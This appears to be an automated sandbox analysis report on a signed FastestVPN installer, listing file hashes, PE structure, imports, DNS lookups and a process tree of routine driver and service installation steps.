                                                                                                                Preview:regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmv.H.l.................................................................................................................................................................................................................................................................................................................................................^.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                \Device\ConDrv

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\subinacl.exe
                                                                                                                File Type:ASCII text
                                                                                                                Category:dropped
                                                                                                                Size (bytes):133
                                                                                                                Entropy (8bit):4.004784065185313
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:E8Hu/FvfVFcLaNKB4z/F/eAFFXx26LX/FFVbQAtbR91q:E2u/F8La3FGgy6L1bVDq
                                                                                                                MD5:CE8AE87D7F83FA032F2A60AB0B8F0FE4
                                                                                                                SHA1:203E8416D17D3A9E03509009A8F20F94C51C0381
                                                                                                                SHA-256:F3617B3A17F48864D33A4C32D4F9AE862B23E07F35504C8D4DBE79AC589D395D
                                                                                                                SHA-512:091E97EA19CCF4D6870F8EA861DCCC0F87E4928AC39C64A2AA1085C94EAE5F6707919A18FB3A56EE94F7483950F34128E7E8D321129F810C0847F3493F269682
                                                                                                                Malicious:false
                                                                                                                Preview:.Elapsed Time: 00 00:00:00.Done: 1, Modified 1, Failed 0, Syntax errors 0.Last Done : FastestVPNService.

                                                                                                                Static File Info

                                                                                                                General

                                                                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                Entropy (8bit):7.9801706702389295
                                                                                                                TrID:
                                                                                                                • Win32 Executable (generic) a (10002005/4) 98.45%
                                                                                                                • Inno Setup installer (109748/4) 1.08%
                                                                                                                • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                                                                                                                • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                File name:mapMd1URzq.exe
                                                                                                                File size:11'458'144 bytes
                                                                                                                MD5:ff0206612063b4d2b3e2ed6ee9d5eef0
                                                                                                                SHA1:d33a31ecdbd673b93cb70f516a57643056931c8b
                                                                                                                SHA256:17926b988b31296c26bf8fcc5be5595f8b290112949cd9314b3ddb51216a9fc6
                                                                                                                SHA512:7efe4c69f9cf94fc42cb56a041fc4038c619855e4aff8dc7d4799ff2bade7ff57084f8dbc8beccd099046e47a66bab34bc34d5f80aa492ce1cfa8641fcbe06f8
                                                                                                                SSDEEP:196608:QEN6+mdOcEmlYqlXDE6CTgJEUk8r6v3BglVlz57TLdLi4nTBnUgv69J:Qpmczl3lAgJ28r6v3Bgl/LisUgC9J
                                                                                                                TLSH:AAB62313B3C7A43EF01E2BB345B2A01454F76E216522BE56D6F4B4ACCF350629D3E64A
                                                                                                                File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                                File Icon

                                                                                                                Icon Hash:701e0760791c0641

                                                                                                                Static PE Info

                                                                                                                General

                                                                                                                Entrypoint:0x4a83bc
                                                                                                                Entrypoint Section:.itext
                                                                                                                Digitally signed:true
                                                                                                                Imagebase:0x400000
                                                                                                                Subsystem:windows gui
                                                                                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                Time Stamp:0x666711EF [Mon Jun 10 14:47:11 2024 UTC]
                                                                                                                TLS Callbacks:
                                                                                                                CLR (.Net) Version:
                                                                                                                OS Version Major:6
                                                                                                                OS Version Minor:1
                                                                                                                File Version Major:6
                                                                                                                File Version Minor:1
                                                                                                                Subsystem Version Major:6
                                                                                                                Subsystem Version Minor:1
                                                                                                                Import Hash:40ab50289f7ef5fae60801f88d4541fc

                                                                                                                Authenticode Signature

                                                                                                                Signature Valid:true
                                                                                                                Signature Issuer:CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
                                                                                                                Signature Validation Error:The operation completed successfully
                                                                                                                Error Number:0
                                                                                                                Not Before, Not After
                                                                                                                • 15/01/2024 21:45:41 14/01/2025 21:45:41
                                                                                                                Subject Chain
                                                                                                                • OID.1.3.6.1.4.1.311.60.2.1.3=CA, OID.2.5.4.15=Private Organization, CN=Acira Consulting Inc., SERIALNUMBER=987024-5, O=Acira Consulting Inc., L=Mississauga, S=Ontario, C=CA
                                                                                                                Version:3
                                                                                                                Thumbprint MD5:4C9BC68042EB932BDCEC05026258C237
                                                                                                                Thumbprint SHA-1:A70AB688FF0A7C3A22B030FBFFA8B56DC31F650A
                                                                                                                Thumbprint SHA-256:49EB14C9EFDE16BD0546A80F058C7D10871ADACFD3B550A4F7007080377DA3BA
                                                                                                                Serial:748A88467D46DF98B5246AFC4F5EEC64

                                                                                                                Entrypoint Preview

                                                                                                                Instruction
                                                                                                                push ebp
                                                                                                                mov ebp, esp
                                                                                                                add esp, FFFFFFA4h
                                                                                                                push ebx
                                                                                                                push esi
                                                                                                                push edi
                                                                                                                xor eax, eax
                                                                                                                mov dword ptr [ebp-3Ch], eax
                                                                                                                mov dword ptr [ebp-40h], eax
                                                                                                                mov dword ptr [ebp-5Ch], eax
                                                                                                                mov dword ptr [ebp-30h], eax
                                                                                                                mov dword ptr [ebp-38h], eax
                                                                                                                mov dword ptr [ebp-34h], eax
                                                                                                                mov dword ptr [ebp-2Ch], eax
                                                                                                                mov dword ptr [ebp-28h], eax
                                                                                                                mov dword ptr [ebp-14h], eax
                                                                                                                mov eax, 004A2EBCh
                                                                                                                call 00007F6F40E4BD45h
                                                                                                                xor eax, eax
                                                                                                                push ebp
                                                                                                                push 004A8AC1h
                                                                                                                push dword ptr fs:[eax]
                                                                                                                mov dword ptr fs:[eax], esp
                                                                                                                xor edx, edx
                                                                                                                push ebp
                                                                                                                push 004A8A7Bh
                                                                                                                push dword ptr fs:[edx]
                                                                                                                mov dword ptr fs:[edx], esp
                                                                                                                mov eax, dword ptr [004B0634h]
                                                                                                                call 00007F6F40EDD6CBh
                                                                                                                call 00007F6F40EDD21Eh
                                                                                                                lea edx, dword ptr [ebp-14h]
                                                                                                                xor eax, eax
                                                                                                                call 00007F6F40ED7EF8h
                                                                                                                mov edx, dword ptr [ebp-14h]
                                                                                                                mov eax, 004B41F4h
                                                                                                                call 00007F6F40E45DF3h
                                                                                                                push 00000002h
                                                                                                                push 00000000h
                                                                                                                push 00000001h
                                                                                                                mov ecx, dword ptr [004B41F4h]
                                                                                                                mov dl, 01h
                                                                                                                mov eax, dword ptr [0049CD14h]
                                                                                                                call 00007F6F40ED9223h
                                                                                                                mov dword ptr [004B41F8h], eax
                                                                                                                xor edx, edx
                                                                                                                push ebp
                                                                                                                push 004A8A27h
                                                                                                                push dword ptr fs:[edx]
                                                                                                                mov dword ptr fs:[edx], esp
                                                                                                                call 00007F6F40EDD753h
                                                                                                                mov dword ptr [004B4200h], eax
                                                                                                                mov eax, dword ptr [004B4200h]
                                                                                                                cmp dword ptr [eax+0Ch], 01h
                                                                                                                jne 00007F6F40EE443Ah
                                                                                                                mov eax, dword ptr [004B4200h]
                                                                                                                mov edx, 00000028h
                                                                                                                call 00007F6F40ED9B18h
                                                                                                                mov edx, dword ptr [004B4200h]

                                                                                                                Data Directories

                                                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0xb70000x71.edata
                                                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0xb50000xfec.idata
                                                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0xba0000x7088.rsrc
                                                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0xaeb0100x2650
                                                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_TLS0xb90000x18.rdata
                                                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_IAT0xb52d40x25c.idata
                                                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xb60000x1a4.didata
                                                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                Sections

                                                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                .text0x10000xa568c0xa5800b889d302f6fc48a904de33d8d947ae80False0.3620185045317221data6.377190161826806IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                .itext0xa70000x1b640x1c00588dd0a8ab499300d3701cbd11b017d9False0.548828125data6.109264411030635IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                .data0xa90000x38380x3a005c0c76e77aef52ebc6702430837ccb6eFalse0.35338092672413796data4.95916338709992IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                .bss0xad0000x72580x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                .idata0xb50000xfec0x1000627340dff539ef99048969aa4824fb2dFalse0.380615234375data5.020404933181373IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                .didata0xb60000x1a40x200fd11c1109737963cc6cb7258063abfd6False0.34765625data2.729290535217263IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                .edata0xb70000x710x2007de8ca0c7a61668a728fd3a88dc0942dFalse0.1796875data1.305578535725827IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                .tls0xb80000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                .rdata0xb90000x5d0x200d84006640084dc9f74a07c2ff9c7d656False0.189453125data1.3892750148744617IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                .rsrc0xba0000x70880x7200893b0299a2e03b7a4c64e0669b3a8aeeFalse0.2584635416666667data4.423251276040016IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                Resources

                                                                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                RT_ICON0xba4980x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.3980496453900709
                                                                                                                RT_ICON0xba9000x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.274155722326454
                                                                                                                RT_ICON0xbb9a80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.16514522821576763
                                                                                                                RT_STRING0xbdf500x3f8data0.3198818897637795
                                                                                                                RT_STRING0xbe3480x2dcdata0.36475409836065575
                                                                                                                RT_STRING0xbe6240x430data0.40578358208955223
                                                                                                                RT_STRING0xbea540x44cdata0.38636363636363635
                                                                                                                RT_STRING0xbeea00x2d4data0.39226519337016574
                                                                                                                RT_STRING0xbf1740xb8data0.6467391304347826
                                                                                                                RT_STRING0xbf22c0x9cdata0.6410256410256411
                                                                                                                RT_STRING0xbf2c80x374data0.4230769230769231
                                                                                                                RT_STRING0xbf63c0x398data0.3358695652173913
                                                                                                                RT_STRING0xbf9d40x368data0.3795871559633027
                                                                                                                RT_STRING0xbfd3c0x2a4data0.4275147928994083
                                                                                                                RT_RCDATA0xbffe00x10data1.5
                                                                                                                RT_RCDATA0xbfff00x310data0.6173469387755102
                                                                                                                RT_RCDATA0xc03000x2cdata1.2045454545454546
                                                                                                                RT_GROUP_ICON0xc032c0x30dataEnglishUnited States0.9166666666666666
                                                                                                                RT_VERSION0xc035c0x584dataEnglishUnited States0.25
                                                                                                                RT_MANIFEST0xc08e00x7a8XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3377551020408163

                                                                                                                Imports

                                                                                                                DLLImport
                                                                                                                kernel32.dllGetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                                                                                                                comctl32.dllInitCommonControls
                                                                                                                user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                                                                                                                oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                                                                                                                advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

                                                                                                                Exports

                                                                                                                NameOrdinalAddress
                                                                                                                __dbk_fcall_wrapper20x40fc10
                                                                                                                dbkFCallWrapperAddr10x4b063c

                                                                                                                Possible Origin

                                                                                                                Language of compilation systemCountry where language is spokenMap
                                                                                                                EnglishUnited States

                                                                                                                Network Behavior

                                                                                                                DNS Answers

                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                Oct 3, 2024 10:17:49.879431009 CEST1.1.1.1192.168.2.60xfefaNo error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                Oct 3, 2024 10:17:49.879431009 CEST1.1.1.1192.168.2.60xfefaNo error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false

                                                                                                                Statistics

                                                                                                                CPU Usage

                                                                                                                Click to jump to process

                                                                                                                Memory Usage

                                                                                                                Click to jump to process

                                                                                                                High Level Behavior Distribution

                                                                                                                Click to dive into process behavior distribution

                                                                                                                Behavior

                                                                                                                Click to jump to process

                                                                                                                System Behavior

                                                                                                                General

                                                                                                                Target ID:0
                                                                                                                Start time:04:17:05
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Users\user\Desktop\mapMd1URzq.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Users\user\Desktop\mapMd1URzq.exe"
                                                                                                                Imagebase:0x400000
                                                                                                                File size:11'458'144 bytes
                                                                                                                MD5 hash:FF0206612063B4D2B3E2ED6EE9D5EEF0
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:Borland Delphi
                                                                                                                Reputation:low
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:2
                                                                                                                Start time:04:17:05
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp" /SL5="$103C6,10597393,735744,C:\Users\user\Desktop\mapMd1URzq.exe"
                                                                                                                Imagebase:0x400000
                                                                                                                File size:3'045'888 bytes
                                                                                                                MD5 hash:259E3EE4646FC251C3513EEF2683479F
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:Borland Delphi
                                                                                                                Reputation:low
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:7
                                                                                                                Start time:04:17:35
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""
                                                                                                                Imagebase:0x7ff6f7270000
                                                                                                                File size:289'792 bytes
                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:high
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:8
                                                                                                                Start time:04:17:35
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:high
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:9
                                                                                                                Start time:04:17:35
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\reg.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
                                                                                                                Imagebase:0x7ff6d22a0000
                                                                                                                File size:77'312 bytes
                                                                                                                MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:moderate
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:10
                                                                                                                Start time:04:17:35
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\find.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:find /i "x86"
                                                                                                                Imagebase:0x7ff7a3990000
                                                                                                                File size:17'920 bytes
                                                                                                                MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:moderate
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:11
                                                                                                                Start time:04:17:35
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\cmd.exe /c ver
                                                                                                                Imagebase:0x7ff6f7270000
                                                                                                                File size:289'792 bytes
                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:high
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:12
                                                                                                                Start time:04:17:36
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:tapinstall.exe remove tap0901
                                                                                                                Imagebase:0x7ff7fedd0000
                                                                                                                File size:507'728 bytes
                                                                                                                MD5 hash:E313336C82EB265542664CC7A360C5FF
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:low
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:13
                                                                                                                Start time:04:17:36
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:tapinstall.exe install OemVista.inf tap0901
                                                                                                                Imagebase:0x7ff7fedd0000
                                                                                                                File size:507'728 bytes
                                                                                                                MD5 hash:E313336C82EB265542664CC7A360C5FF
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:low
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:14
                                                                                                                Start time:04:17:38
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\svchost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                                                Imagebase:0x7ff7403e0000
                                                                                                                File size:55'320 bytes
                                                                                                                MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:high
                                                                                                                Has exited:false

                                                                                                                General

                                                                                                                Target ID:15
                                                                                                                Start time:04:17:38
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\drvinst.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "0000000000000100" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"
                                                                                                                Imagebase:0x7ff745960000
                                                                                                                File size:337'920 bytes
                                                                                                                MD5 hash:294990C88B9D1FE0A54A1FA8BF4324D9
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:moderate
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:17
                                                                                                                Start time:04:17:40
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\drvinst.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000160"
                                                                                                                Imagebase:0x7ff745960000
                                                                                                                File size:337'920 bytes
                                                                                                                MD5 hash:294990C88B9D1FE0A54A1FA8BF4324D9
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:moderate
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:18
                                                                                                                Start time:04:17:41
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\svchost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
                                                                                                                Imagebase:0x7ff7403e0000
                                                                                                                File size:55'320 bytes
                                                                                                                MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Reputation:high
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:19
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat""
                                                                                                                Imagebase:0x7ff6f7270000
                                                                                                                File size:289'792 bytes
                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:20
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:21
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\sc.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:sc stop fastestvpndriver
                                                                                                                Imagebase:0x7ff6a4880000
                                                                                                                File size:72'192 bytes
                                                                                                                MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:22
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:23
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\reg.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
                                                                                                                Imagebase:0x7ff6d22a0000
                                                                                                                File size:77'312 bytes
                                                                                                                MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:24
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\find.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:find /i "x86"
                                                                                                                Imagebase:0x7ff7a3990000
                                                                                                                File size:17'920 bytes
                                                                                                                MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:25
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\reg.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
                                                                                                                Imagebase:0x7ff6d22a0000
                                                                                                                File size:77'312 bytes
                                                                                                                MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:26
                                                                                                                Start time:04:17:42
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\find.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:find /i "Windows 7"
